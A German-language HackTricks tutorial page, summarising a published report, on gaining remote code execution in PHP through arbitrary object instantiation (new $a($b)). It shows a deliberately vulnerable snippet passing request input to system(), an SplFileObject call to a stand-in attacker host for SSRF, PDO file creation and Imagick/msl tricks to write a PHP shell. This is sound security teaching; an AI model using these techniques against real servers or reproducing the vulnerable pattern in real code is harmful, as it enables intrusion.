7 KiB
PHP - RCE durch Ausnutzung der Objekterstellung: new $_GET["a"]($_GET["b"])
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dies ist im Grunde eine Zusammenfassung von https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Einführung
Die Erstellung neuer willkürlicher Objekte, wie new $_GET["a"]($_GET["a"])
, kann zu Remote Code Execution (RCE) führen, wie in einem Bericht detailliert beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor.
RCE über benutzerdefinierte Klassen oder Autoloading
Die Syntax new $a($b)
wird verwendet, um ein Objekt zu instanziieren, wobei $a
den Klassennamen darstellt und $b
das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen erscheinen könnten.
Betrachten Sie den folgenden Codeausschnitt:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
In diesem Fall führt das Setzen von $a
auf App
oder App2
und $b
auf einen Systembefehl (z.B. uname -a
) zur Ausführung dieses Befehls.
Autoloading-Funktionen können ausgenutzt werden, wenn solche Klassen nicht direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und sind definiert mit spl_autoload_register
oder __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschiedliche RCE-Möglichkeiten.
RCE über eingebaute Klassen
Ohne benutzerdefinierte Klassen oder Autoloader können eingebaute PHP-Klassen für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit get_declared_classes()
aufgelistet werden.
Konstruktoren von Interesse können über die Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link https://3v4l.org/2JEGF gezeigt.
RCE über spezifische Methoden umfasst:
SSRF + Phar Deserialisierung
Die Klasse SplFileObject
ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu jeder URL:
new SplFileObject('http://attacker.com/');
SSRF kann in PHP-Versionen vor 8.0 zu Deserialisierungsangriffen führen, wenn das Phar-Protokoll verwendet wird.
Ausnutzen von PDOs
Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Strings, was potenziell die Erstellung von Dateien oder andere Interaktionen ermöglicht:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Versionen von PHP bis 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die SoapClient
- und SimpleXMLElement
-Konstruktoren, abhängig von der Version von libxml2.
RCE über die Imagick-Erweiterung
Bei der Analyse der Abhängigkeiten eines Projekts wurde festgestellt, dass Imagick für die Befehlsausführung durch die Instanziierung neuer Objekte genutzt werden kann. Dies bietet eine Möglichkeit, Schwachstellen auszunutzen.
VID-Parser
Die Fähigkeit des VID-Parsers, Inhalte an einen beliebigen angegebenen Pfad im Dateisystem zu schreiben, wurde identifiziert. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen, was Remote Code Execution (RCE) ermöglicht.
VID-Parser + Datei-Upload
Es wird angemerkt, dass PHP hochgeladene Dateien vorübergehend in /tmp/phpXXXXXX
speichert. Der VID-Parser in Imagick, der das msl-Protokoll verwendet, kann Platzhalter in Dateipfaden verarbeiten, was den Transfer der temporären Datei an einen gewählten Ort erleichtert. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben.
PHP-Absturz + Brute Force
Eine Methode, die im originalen Bericht beschrieben wird, beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik wurde jedoch nur in einer veralteten Version von ImageMagick als effektiv befunden.
Referenzen
{% hint style="success" %}
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstütze HackTricks
- Überprüfe die Abonnementpläne!
- Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.